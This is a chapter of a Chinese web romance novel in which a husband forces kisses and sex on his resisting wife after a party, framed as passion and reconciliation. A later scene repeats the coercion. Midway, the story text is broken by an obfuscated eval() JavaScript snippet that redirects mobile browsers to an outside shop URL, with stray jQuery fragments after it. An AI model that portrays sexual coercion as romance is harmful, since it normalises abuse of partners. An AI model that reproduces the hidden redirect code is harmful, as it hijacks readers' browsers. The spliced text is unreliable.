51. 第 51 章
    虞秋池进了房间,看清屋内风格和陈设细节,才意识到阿姨把她带到傅江云房里来了。

    “阿姨,帮我拿一双新拖鞋过来吧。”虞秋池不管谁的房间,只要能一个人待着就行。

    他的卧室很大,家具却不算多,风格简约,整体偏冷色调,墨蓝色床单,深灰色窗帘,屋子倒挺干净的,应该经常有人打扫。

    虞秋池没上床,没开灯,她脱了高跟鞋,在床对面的沙发里坐下,又觉得整个肩颈都不舒服,取了耳环和宝石项链,随手搁在一旁的桌子上,又伸手扯了两下皮筋,鸡毛头发型更加松散,可一想到还没卸妆,到底还是没把皮筋扯下来。

    她双手抱着双膝,头靠在沙发靠背上空洞地盯着窗外微弱的光亮。

    傅江云推开门,看到的就是这样一幅疲惫的身体。

    听到声响,虞秋池以为是阿姨来送拖鞋,没曾想回头一看,来人竟然是他。

    看她表情充满戒备,傅江云淡淡说了句:“这是我的房间。”

    她当然知道,可如果不是因为这该死的婚姻,她压根不用推着疲倦的身体待着这里。

    “怎么不开灯?”傅江云关了门,打开卧室大里鹅黄色的小灯,走到她身边。在她对面的床榻上坐下。

    虞秋池偏过头,就是不正眼看他。

    傅江云也不恼,反而起身坐到了她身边。

    虞秋池真的不想跟他说一句话。她没忘记这些天他的冷淡,还有刚刚在楼下看他跟他那群朋友聊的热火朝天的样子。

    傅江云完全不清楚她此刻的心理活动,他今晚太忙了,一直忙着跟各种形形色色的人打太极,两人这种时而冷淡时而温热的状态,从求婚那晚开始一直持续到今天。

    到了现在,谁都不知道到底是谁的错。

    看着她微乱的头发,他伸手把她脸庞落下的发丝别在耳后,刚一碰到她的脸,虞秋池就偏了偏脑袋。

    她眼底的不耐烦丝毫不掩饰。

    脑子里一直重复龚雪跟他嘻嘻哈哈聊天的模样,他难道不知道自己是有家室的人?也这么不知分寸。

    伸出的手落空,傅江云突然想起薛峰碰她发丝的样子,也不见她这般抗拒,怎么随便一个男的在她那都比自己要好吗?

    傅江云低头无所谓笑笑,随即一股妒忌爬满了双眼,掐住她的下巴重重吻上她的唇。

    说是吻,倒不如说是撕咬。

    “你别碰我!”他身上带着酒气,这是他第一次沾染着酒气,也是第一次不顾她的意愿强迫地吻她。

    虞秋池躲他,掐他踹他,都无济于事。

    直到牙齿用力咬破他的唇角,血腥味弥漫两个人的口腔,她实在受不了,狠狠推开他,撑着沙发扶手大口呼吸。

    傅江云摇头一笑,面容一半隐藏在黑暗中,虽然在笑,可眼神里看不到半点往日的情欲。

    他抚摸着她的脖颈,轻轻捏着她的后颈跟揉小猫小狗那般,幽深的眼瞳直勾勾紧盯着她的双眼,像看出她的害怕,语气突然软了下来:

    “秋池,乖一点好不好?”

    “我现在很想要和你做。”

    虞秋池从没见过他这个样子,先前感受不到,现在又觉得他眼里的欲望太强烈了。

    还没等虞秋池说话,傅江云就又吻了上来,他钳制住她的双手,将人压在身下疯狂掠夺。

    她被吻得头昏脑胀,眩晕中被傅江云揽着腰带了起来,将她抵在桌沿边发狠地吻着,抹胸款的礼服,露出她漂亮的肩颈线条,此刻倒是方便了他做坏事。

    他三两下撩拨,虞秋池就起了反应。她真是讨厌这该死的生理欲望。

    头发松松垮垮地,像真被他欺负成什么样,傅江云微阖着双目,唇瓣贴着她锁骨,抬手碰到她脑后的皮筋,轻轻解开。

    长发泼墨般倾落,背后的拉链也被他拉下,两人的身影倒映在窗边。

    他仿佛变了一个人似的,即使是做.爱,虞秋池也从没见过他这个样子。

    不管她怎么喊,他就是不停。

    从沙发到床铺,两人换了好几种姿势,起初除了痛,她压根没感受到半点欢愉。

    直到傅江云察觉到她的异常,放缓动作轻轻安抚着她,刻意讨好她的身体,虞秋池才没那么难受。

    男女体格摆在那,她挣扎两下便放弃了,做就做吧,她也需要好好发泄一下。

    “抱紧我。”跟随着他的动作起起伏伏,傅江云拉着她的手圈住自己脖颈,她埋进他的颈窝处几乎是边哭边跟他做完这场□□。

    最后筋疲力尽,朦胧中好像被抱着进了浴室清洗一番,她实在太累了,放任自己窝在浴缸里躺在傅江云的怀中睡去。

    …

    阿珍拿着一套全新洗漱用品和傅母吩咐自己拿给虞秋池的那套睡裙再次回到傅江云房间,抬起手臂正要敲门,忽然听见里面有争吵声,下意识握着门把,发现门竟然反锁上了,阿珍趴着门缝听了会儿,反应过来后红着脸退两三步,她看着手里的东西,太太现在估计不需要拖鞋了吧。

    楼下,傅父接连送走几个客人,刚刚还在身边的傅江云现在不知道跑哪儿去了,找了会儿,走到内庭问妻子:

    “阿云人去哪儿呢?”他眼睛四处游走:“小池怎么也不见了?他三叔还等着跟他们聊会天。”

    黎姿忍不住翻白眼,“聊天能有你儿子儿媳幸福重要?”黎姿拉着他道手臂小声地说:

    “今晚剩下的客人我俩照顾就好,你要想早点抱孙女,就别去打扰他们小两口。”

    傅父无声张了张嘴,顺着她的目光看向楼上,不自然地扶了扶眼镜,他清了清嗓子:“你是想抱孙女想疯了?一把年纪,戏弄儿子儿媳,你也不嫌丢人。”

    “嗳——”傅母哑口无言,合着他以为自己给小两口下套了,她不过是看傅江云进了房间到现在还没出来,再加上刚才阿珍跟自己说的话,才猜测出来的,她简直冤枉。

    宾客们渐渐离散,宴会收尾,人都走得差不多了,就剩顾西和龚雪。

    “黎阿姨,阿云呢?”顾西一边穿着外套,一边问道。原本走出门的龚雪,忽然放慢了脚步。

    “他喝了些酒,去楼上休息了。”黎姿起身送人:“赶明儿你们几个再聚啊,阿姨就送到这了。”

    顾西淡淡扫了楼上一眼,傅江云喝多了?不见得吧。从看到花园里虞秋池跟薛峰待在一起,傅江云人就不见了,八成是把虞秋池拐走了。

    他淡淡一笑,朝黎姿颔首:“阿姨,改日再来看您。”

    “你刚刚笑什么?”龚雪见顾西走过来,随口问道:“傅江云喝大了?”

    顾西这次直接笑出声:“你能信?”

    他双手叠在腹前,扣着衣扣:“肯定是找虞秋池算账去了。”

    龚雪还在想算什么帐,反应过来脚步一顿。

    “他们不是还在冷战么。”

    “再怎么冷战不也是夫妻。夫妻嘛,自然床头吵架床尾和。”

    “你还挺懂。”龚雪笑:“你手里那个项目也该加快进度了,不然我俩真得结婚了。”

    “放心,不会。”顾西笃定道。

    “那就行。”龚雪点点头,两人各自驾车离开。

    生日晚会随着最后客人的离去正式结束,黎姿敷着面膜下楼,自顾自地看了眼三仍旧紧闭的房门,对轻手轻脚打扫卫生的阿姨们吩咐道:

    “大家辛苦了,大伙儿早点儿弄完了早点休息。”

    “好的太太。”

    傅母转身上楼,看见了一旁的阿珍,“阿珍,我给太太准备的那套睡衣今晚就别送给她了,挺晚了,别打扰他们小两口休息。”

    阿珍低头笑,想起刚刚那套准备送给虞秋池的睡裙,小脸一红,夫人也太不正经了。

    …

    半夜一两点,别墅周围一片寂静。

    三楼走廊尽头那扇

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009614|141730||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    紧闭着的房门里面,一地狼藉。

    傅江云拿自己的浴巾裹住女孩,将人从浴室抱了出来,床上是不能坐了,于是把怀里的人轻轻放在沙发里。

    虞秋池早醒了,捏着胸前松垮的浴巾蜷缩在沙发上,看着傅江云三两下扯掉床单,从衣柜拿出干净的换上。

    他瞥见她身上的浴巾,从衣柜里拿出一件灰色T恤递到她手中:“这没你睡衣,将就一晚。”

    虞秋池掀起眼皮看了一下,别过头看着别处。

    她不想穿他的衣服。

    “行。”傅江云挑眉,把手里的衣服轻轻扔到床尾边,转过身要朝门外走去:“那我下楼跟妈要一件女士睡衣。”

    “你敢!”虞秋池猛的抬头,要让他爸妈知道他们俩在傅母生日晚宴上躲在傅江云房间里干那事,她宁愿从这跳下去得了。

    “那你穿不穿?”他靠着门冲她抬抬下巴。

    忍,忍,她忍。

    虞秋池拿着衣服进了浴室。

    傅江云往浴室瞥了一眼,摇着头掀开被子躺下,她有必要么,又不是没看过。

    虞秋池从浴室出来,看他已经在床上躺好,本来打算让他睡那个小沙发,他这样她也懒得开口,她去睡吧,走到沙发边,忽然一想,凭什么委屈自己?

    傅江云就看着她站在床尾,又气冲冲地转身,回到自己身边躺下。

    他真有点搞不懂虞秋池了。

    窗边皎洁月光透过薄薄地白色窗纱照进了房屋一角。

    虞秋池背对着傅江云躺下,一动不动地看着那团小小的光影。

    两人中间隔着点距离,或是说虞秋池从上床起就刻意跟他保持距离。

    傅江云盯着她的背影看了一会儿,上前拥住她。

    虞秋池没挣脱,就这么安静地躺在他的怀里。

    房间很安静,他们还能听见楼下花园里残夏孱弱的蝉鸣。

    傅江云微阖着双目,轻嗅着她肩颈处发丝的清香,温温的气息打在她的皮肤上,她枕着手臂往前挪了一下,垂下眼帘思考了好久,打破了房间的静谧,一字一句地说:

    “傅江云。我们分开吧。”

    “什么意思?”

    傅江云猛地起身,不可思议地盯着她,薄唇紧绷,反问道:

    “你想跟我离婚?”

    她说分开是指两人回到最初,互不干涉彼此生活,互相尊重那一纸婚前协议,甚者也没必要再发生关系,各玩各的就好。

    既然傅江云理解成了离婚,虞秋池也懒得解释清楚她所说的“分开”,反正二者之间都差不多。

    她缓缓睁开双眼,平静地看着他“我觉得我们现在这样,好没意思。”

    “你觉得我没意思?”傅江云轻嗤,“还是说有人比我有意思?”

    虞秋池撑着手肘坐起,轻轻靠在床头,扯着嘴角道:

    “说实话,你难道不觉得这段婚姻挺没劲的么。”

    她似乎还是融入不进他那些圈子。

    她也不想应付想今晚这样一次又一次的宴会。

    很累,很疲惫。如果不是和傅江云结婚,她一个大学老师根本不会接触这些。

    “那刚刚算什么?”傅江云红着眼看她,他脸色异常难看,他以为她都身体都愿意向自己敞开了,两人准备和好了。

    “分手炮?”哦不对,离婚炮。

    虞秋池艰难地张了下唇瓣,偏过脸不看他:

    “你说是就是。”

    “呵。”傅江云气笑了,他面如死灰地盯着她,像是把人看穿:

    “虞秋池,”他冷冰冰地喊她全名,倾身按着她的肩膀抵她在床头,偏头吻了上去,手也不安分地游走。

    他轻咬着她的耳垂,虞秋池想躲却被他先发制人地捏住下巴:“我多了解你,一次怎么够。”

    她默默闭上眼。

    算了,疯就疯吧。

    反正都要离婚了。